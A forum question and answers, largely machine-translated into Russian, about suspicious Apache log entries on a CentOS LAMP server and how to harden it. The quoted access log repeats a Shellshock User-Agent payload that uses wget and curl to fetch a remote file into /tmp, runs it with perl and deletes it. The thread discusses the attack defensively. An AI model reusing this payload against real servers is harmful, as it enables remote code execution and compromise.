Should I be concerned about hacking attempts via wget on a CentOS/LAMP-based web server?

This is a bit confusing, by the way I'm not a system administrator and only know a little bit about handling a Linux.

I'm running a LAMP-based website and hosting it on Digital Ocean. The server is CentOS 7 and I installed a few security tools like like Fail2ban. I frequently check the error logs and request logs, just today I saw a few disturbing requests; examples below.

My question is, does the hacker is trying to plant the virus file name "a2.png" to my /tmp папка? and does the hacker success planting it?

Как мне узнать, работает ли сейчас вирус на моем сервере?

До сих пор я не вижу, чтобы имя файла существовало в моей папке tmp. Какие меры безопасности или усиление безопасности сервера я должен установить? И правильная конфигурация апача? Я использовал только стандартный конфиг apache при установке LAMP.

Веб-сайт, который я обрабатываю, находится на виртуальном хосте, и я использую фреймворк, чтобы сделать его более безопасным. Я не уверен, что если я на правильном пути, защищая свой веб-сервер, я установил Fail2ban только для попытки входа в систему.

Примеры журнала ошибок

[Вт 25 августа 09:48:39.688528 2015] [core:error] [pid 24312] [client 64.15.155.177:33663] AH00126: неверный URI в запросе GET HTTP / 1.1 HTTP / 1.1

[Вт, 25 августа 09:48:40.877570 2015] [cgi:error] [pid 24306] [клиент 64.15.155.177:35398] сценарий не найден или не может выполнить стат: /var/www/cgi-bin/report.cgi

[Вт, 25 августа 09:48:41.042423 2015] [cgi:error] [pid 24331] [клиент 64.15.155.177:35687] сценарий не найден или не в состоянии stat: /var/www/cgi-bin/webmap.cgi

Примеры журнала запросов

64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET HTTP/1.1 HTTP/1.1" 400 226 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 301 234 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /main.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /info.cgi HTTP/1.1" 301 242 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /index.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:40 -0400] "GET /admin.cgi HTTP/1.1" 301 243 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
121.54.44.93 - - [25/Aug/2015:09:48:39 -0400] "GET / HTTP/1.1" 200 3785 "-" "Mozilla/5.0 (Linux; Android 4.4.2; en-ph; SAMSUNG SM-G7102 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/register.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"
64.15.155.177 - - [25/Aug/2015:09:48:42 -0400] "GET /cgi-bin/download.cgi HTTP/1.1" 404 218 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://coralindia.com/icons/a2.png -O /tmp/a2.png;curl -O /tmp/a2.png http://coralindia.com/icons/a2.png;perl /tmp/a2.png;rm -rf /tmp/a2.png*\");'"

2 ответа

Как указывает Fiasco Labs в своем ответе, такие записи в журнале стоят десять центов. Но как системный администратор с глубоким опытом управления и защиты веб-серверов на основе LAMP, это не атака, а какой-то сценарий "проверки" вашей системы кем-то где-то. Эти исследования / проверки системы выполняются для того, чтобы увидеть, какие серверы там, если таковые имеются, уязвимы; не только ваши серверы. В целом, это эквивалент "военного набора", который был довольно распространенным явлением в 1980–1990-х годах, когда системы взламывались через акустический модем; просканируйте список систем, посмотрите, какие системы имеют "недостатки", а затем посмотрите, что вы можете сделать с этими предполагаемыми недостатками.

Должны ли вы быть в панике по этому поводу? Не за что. Любой веб-сервер в Интернете постоянно проверяется. Я управляю несколькими веб-серверами Ubuntu Linux, и я на 100% уверен, если бы проверял свои журналы прямо сейчас, завтра, через день и т. Д. Я бы увидел записи, похожие на то, что вы видите. Но я не теряю сон из-за этого. Реальность такова, что если ваша основная ОС исправлена ​​правильно, а используемая вами среда исправлена ​​и обновлена, вы в хорошей форме.

Использование такого инструмента, как Fail2Ban, неплохая идея, но я считаю, что это немного излишне, если вы спросите меня. Причина в том, что даже с таким инструментом, как Fail2Ban или даже ModSecurity, умный бот может все же пройти. Вот почему мой лучший совет любому системному администратору - укреплять свои серверы и иметь возможность легко восстанавливаться после компрометации системы.

Укрепи свой сервер и свою кодовую базу

Что я считаю лучшей практикой безопасности, так это ужесточение настройки сервера LAMP и обеспечение надежности нашего PHP-кода. Этот ответ на сайте Stack Exchange о безопасности является хорошей отправной точкой для понимания того, что означает "усиление безопасности", но, честно говоря, если вы не являетесь системным администратором, многое из этого может оказаться у вас над головой.

Поэтому я бы порекомендовал, что если вы действительно не решите научиться быть системным администратором Linux, вам, возможно, будет лучше где-нибудь воспользоваться провайдером общего хостинга. Таким образом, их администраторы используют свои навыки, чтобы беспокоиться об этом, и вы можете сосредоточиться на запуске / кодировании сайта.

Тем не менее, даже с настройкой общего хостинга, вы не сорваться с крючка. Даже если вы используете хорошую среду PHP-фреймворка, вам нужно постоянно обновлять эту PHP-фреймворк при каждом выпуске обновления. А что касается вашей базовой кодовой базы, вы должны быть уверены, что не ограничиваете базовые правила безопасности при написании кода. В основном вы должны научиться очищать любые / все входные данные, которые получает ваш сайт, и как правильно настроить сайт, чтобы даже в случае сбоя он не делал это таким образом, что это было бы катастрофой.

Резервное копирование и аварийное восстановление

И, на мой взгляд, это означает, что резервные копии, резервные копии, резервные копии, а также больше резервных копий. Вы никогда не можете контролировать компрометацию сервера, но восстановление данных / системы всегда под вашим контролем. Все это означает, что вам нужен какой-то небольшой "план аварийного восстановления" для восстановления вашего сайта.

Это означает, что обязательно сделайте резервную копию своей основной кодовой базы, чтобы, если она когда-либо была скомпрометирована, вы могли легко повторно развернуть чистый код без особых усилий. Для этого я настоятельно рекомендую вам использовать инструмент управления исходным кодом, такой как gitдля отслеживания версий, а также для настройки хранилища GitHub для удаленного хранилища. Кроме того, узнайте, как использовать Capistrano с PHP для развертывания кода; У меня есть ответ, который описывает, как это сделать здесь.

То же самое с вашей базой данных MySQL; в зависимости от размера / масштаба доступны резервные копии. Мне нравится, когда резервные копии MySQL на сайтах малого и среднего размера запускаются каждые 3-4 часа. Таким образом, самое худшее, что может случиться, если сайт взломан, это то, что база данных устарела не более чем на 3-4 часа; устаревшая база данных в тот же день лучше, чем разрушенная база данных без резервного копирования вообще.

Скриптовая атака wget в поиске распространенных уязвимостей Держите серверное программное обеспечение в актуальном состоянии, и большинство из них не будет работать, если они не нулевого дня.

Вы обнаружите, что на веб-серверах стоят десятки, ваша единственная защита - никогда не позволять вашему серверу работать в незащищенном состоянии.

Читайте о исправлениях безопасности Centos и проводите больше времени, выполняя apt-get / yum / rpm (независимо от менеджера пакетов), чтобы получать последние обновления безопасности.

Другие вопросы по тегам